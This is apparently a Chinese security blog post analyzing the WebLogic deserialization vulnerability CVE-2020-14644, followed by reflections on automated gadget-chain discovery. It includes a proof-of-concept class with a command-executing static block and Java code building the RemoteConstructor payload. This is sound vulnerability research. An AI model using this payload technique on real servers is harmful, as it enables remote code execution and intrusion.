32

CVE-2020-14644分析与gadget的一些思考

 4 years ago
source link: https://www.kingkk.com/2020/08/CVE-2020-14644分析与gadget的一些思考/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前段时间Weblogic出了七月份的补丁,其中比较受关注的有4个9.8评分的RCE,目前14625和14645在网上也都有了详情,话说有个老哥一己之力包了其中三个属实nb。

uYzaeqy.png!web

之前也有几个朋友问起14644的详情,正好一起分享下14644的利用,和之前疫情半年在家挖gadget的一些思考。

CVE-2020-14644

和2883、14645不同的是,这应该算是一条全新的gadget,并不是在原先2555的基础上进行绕过。

这个漏洞的主角是 com.tangosol.internal.util.invoke.RemoteConstructor

在它的 readResolve 方法中会一直调用到 RemotableSupport.realize() 方法

RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize

realize 方法中有两个比较有意思的点 defineClasscreateInstance

7ZnAveQ.png!web

比较熟悉Java的同学到这里可以察觉到一些问题,这是一个自定义加载类并实例化的过程。

ysoserial中经典的TemplateImpl中就有类似的过程。

67ZjuqQ.png!web

但是目前仅是函数名存在一些端倪,真要利用还得看具体的函数实现。

先来看 defineClass 函数

qQbqUfe.png!web

最后又调用了重载的 defineClass ,但很有意思的是这个函数IDEA跟进之后指向的是 ClassLoader.defineClass

RemotableSupport 的函数申明中,可以看到这个类其实是继承了 ClassLoader 这个类的

fAJfqem.png!web

就表示这个 RemotableSupport.defineClass 函数确实是可以通过二进制字节码在内存中定义类的。

然后就是考虑这个byte数组是否可以在反序列化时被我们控制,可以看到这个数组是通过 byte[] abClass = definition.getBytes() 而来的。

这个属性恰好是 ClassDefinition 的一个byte数组的成员变量,可以在初始化时直接传入。

QFNvQf7.png!web

当然光 defineClass 对于漏洞触发来说是不够的,定义了类之后,还得加载这个类,才能触发staic方法。(不过自己挖洞的时候其实也没必要那么严谨,下面有个 createInstance 函数其实已经八九不离十了

当然这个方法确实也没有辜负我们的期望,获取了该类的构造函数,并进行实例化。

6zQJBv3.png!web

这里还有个需要注意的地方是 defineClass 的类名不像TemplateImpl中是一个任意的类名,它是根据 definition 的属性而来的(应该可以反射修改?暂时没尝试

String sBinClassName = definition.getId().getName();
String sClassName = sBinClassName.replace('/', '.');

这里 getName 获取到的类名是一个内部类,内部类的名字是根据 ClassIdentity.m_sVersion 而来的

eENvaeE.png!web

而这个成员变量的值是初始化的时候定义的,是一串md5的哈希值

public ClassIdentity(Class<?> clazz) {
    this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"))));
}

否则, defineClass 时指定的className与字节码文件中的类对应不上的话就会抛出 NoClassDefFoundError 的异常。

这里以12.2.1.3版本为例(版本不同时类的哈希值也会不一样),生成如下内部类

package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

payload的构造就比较简单

byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"));
RemoteConstructor constructor = new RemoteConstructor(
    new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
);

return constructor;

(这里提一句,如果你生成poc时,发现报错的类名一直在变,应该是你把你重写的类加到了classPath中,导致覆盖了weblogic原有的类)

最后,常规流程走一波,弹个计算器(真搞不懂你们黑客,弹个计算器直接cmd运行不好吗

UZJvUvA.png!web

我提交的时候只给了12.2.1.3.0和12.2.1.4.0的POC,不知道为什么最后给出的影响范围只有三个(虽然我确实没测过10.3.6和14.x的

这个漏洞比较好的地方就在于他不像2555的单向链式执行,导致无法执行比较复杂的Java代码,只能通过别的方式进一步利用。而这个漏洞可以直接在static代码块中插入想要执行的代码,利用起来比较方便。

比较麻烦的一点在于同一个Payload无法多次执行,原因在于这个类在第一次触发时已经被加载了。可以通过生成不同的类或者之前提到的反射(或许?)解决这个问题。

关于gadget的一些思考

gadget的链式性

对反序列化(不仅限于Java的反序列化,还有JSON之类的)了解过的人应该都知道,反序列化的其实是一个链式的调用,其实对于常规漏洞来说也是,是一条从Source到Sink的调用链路。

只是反序列化这里的Source比较明确,对于Java反序列化来说是readObject,对于JSON的反序列化来说是getter、setter。

但既然是一条链,就可以拆卸组装,从过不同的连接方式,组装成另一条新的链。

以CVE-2020-2555为例,他的触发链其实如下

ObjectInputStream.readObject() ->
	BadAttributeValueExpException.readObject() ->
		LimitFilter.toString() ->
			ChainedExtractor.extract() ->
				ReflectionExtractor.extract()

当时一月份的修复方式相当于在 LimitFilter.toString() 这里打断了这条链。

当时就感觉这种修复是一种治标不治本的修复,于是就出了2883的绕过,2883的触发链大致如下

ObjectInputStream.readObject() ->
	PriorityQueue.readObject() ->
		ExtractorComparator.compare() ->
			ChainedExtractor.extract() ->
				ReflectionExtractor.extract()

可以看到,这就是典型的一个将原先的链进行组装,拼接成一个新的链。

这样做的好处在于可以复用原先找到的链,降低构造成本。事实上ysoserial中的一些链也是那么做的,通过将一些链中的一小节进行拼接,就生成了一个新的链。当时分析完ysoserial之后的云玩家感言也就是那么想的。

https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/#%E4%BA%91%E7%8E%A9%E5%AE%B6%E6%84%9F%E8%A8%80

这样我们其实在找gadget时可以复用ysoserial中一些比较好用的链的一小节,例如

AnnotationInvocationHandler.readObject() -> ... -> Map.get()
PriorityQueue.readObject() -> ... -> Comparator.compare()
BadAttributeValueExpException.readObject() -> ... -> Object.toString()
HashSet.readObject() -> ... -> Object.hashCode()
HashSet.readObject() -> ... -> Map.put()
HashSet.readObject() -> ... -> Map.get()
Hashtable.readObject() -> ... -> Object.equals()

这样在找gadget时就不一定非得从 readObject 函数开始,只要能找到上面的函数到Sink点的通路即可。

而且除了 readObject 其实还有 readExternalreadResolve 之类的函数有的话也可以关注。

这样在看到2555的漏洞修复的时候,其实只要找到一个 Comparator.compare() 触发了 ValueExtractor.extract() 函数即可,事实表示这样的难易程度就降低了很多,也就是当时2883有蛮多师傅都挖出来了的原因。

TaintAnalysis -> CallGraph

https://github.com/JackOfMostTrades/gadgetinspector

Gadget Inspector是一款 Black Hat USA 2018 中展示的挖掘gadget的工具,听说挖2555的作者就是借助这款自动化的工具挖出了2555(但貌似进行了一些自定义化的改动)

https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63

看过源码的之后发现其实内部是通过一套自定义的污点分析流程,去尝试挖掘对应的gadget,污点分析的细节和原理这里就不展开讲了。

由于之前做过一些自动化代码审计的工作,个人感觉污点分析的方式更像一个严谨的工程师,其中漏洞漏报主要源自于污点传播函数(propagate)没有定义好,导致一些污点信息没有做对应的标记,从而导致污点跟踪丢失,而且这些污点传播函数的case其实比较难完全覆盖。

由于个人挖洞的需求,其实我们的做法可以更激进一些,希望找出更多可能触发漏洞的点,并且接受一定的误报量,通过一定的误报而尽可能减少漏报,并通过一部分人工的排查,从而找出漏洞。

污点分析的对象单位是一个变量,而我们可以将这个对象放大至函数,忽略具体的数据流走向,通过寻找Call Graph,寻找所有可能触发Sink点的路径。

这个过程其实就是寻找一个 可能 触发的路径,需要通过一定的人工排查,去确定最后是否可以触发。但其实这样做已经为我们排除了大量不可能的路径。因为如果Call Graph都无法找到一条可行的路径,那就表示这个Sink点其实是无法触发的。(反射除外,反射目前应该是静态代码无法解决的一个痛点)

自动化这个过程中的一些问题

实际过程中可能还会有一些问题,还是以之前Weblogic的链为例子,比如触发 ReflectionExtractor.extract() 时,在上一层的 LimitFilter.toString() 中代码层面显示的调用其实的是 ValueExtractor.extract()

这就涉及到Java语言的一个比较基本且重要的特性——多态,这个 ValueExtractor 其实是要在运行时才能确定的,所以静态代码层面无法确定这个函数具体要调用的代码块。

这一点Gadget Inspector其实已经做了处理,它在一开始会将类之间的继承和实现关系做了一个映射,在发现调用 ValueExtractor.extract() 时会去寻找所有其具体的实现,从而遍历所有可能触发的代码块。

在Call Graph + 类关系处理之后,找到的整个调用链可能会异常庞大,比如调用到了toString方法,但是重写了toString的类其实很多,这样就会产生一种指数爆炸的效果,可能需要一些限制类名、限制链的深度之类的操作,去避免过于长的链的查找。

其次就是可以通过从Sink->Source,Source->Sink正逆向相互结合来挖掘对应的链,其实对于gadget这种Source比较确定的个人比较推荐Source->Sink的寻找过程,并且根据 gadget的链式性 中提到的,将 toStringhashCodecompare 之类的函数也加入到Source中,减少寻找的难度。

个人感觉Java反序列化的gadget其实会比JSON的要难找一些,其实尝试去分析JSON的gadget之后会发现整个调用链其实都比较浅,像常规的jndi的调用链通常不超过3层。而且Java反序列化需要这个过程中所有涉及到的类都继承了Serializable接口,并且可能会遇到一些 transient 修饰的成员变量。

虽然Gadget Inspector中对类进行了限制,在自动化查找的时候就判断了类是否继承Serializable,但是感觉会有一些虽然没有继承Serializable,但是仅调用的是一个static函数之类的情况,导致一些可能的链被剔除了。所以个人更倾向于在人工排查时再去解决这些问题,只要误报在一个可以接受的范围内,自动化只负责找到所有 可能 的情况。(虽然我确实也遇到过找到了一条可以触发的链,但是其中一些类没有继承Serializable导致无法反序列化的情况)

例如以 readResolve 函数为Source, RemotableSupport:defineClass 为Sink,就可以找到如下的调用链,也是14644漏洞触发的堆栈。

3Mj2mmA.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK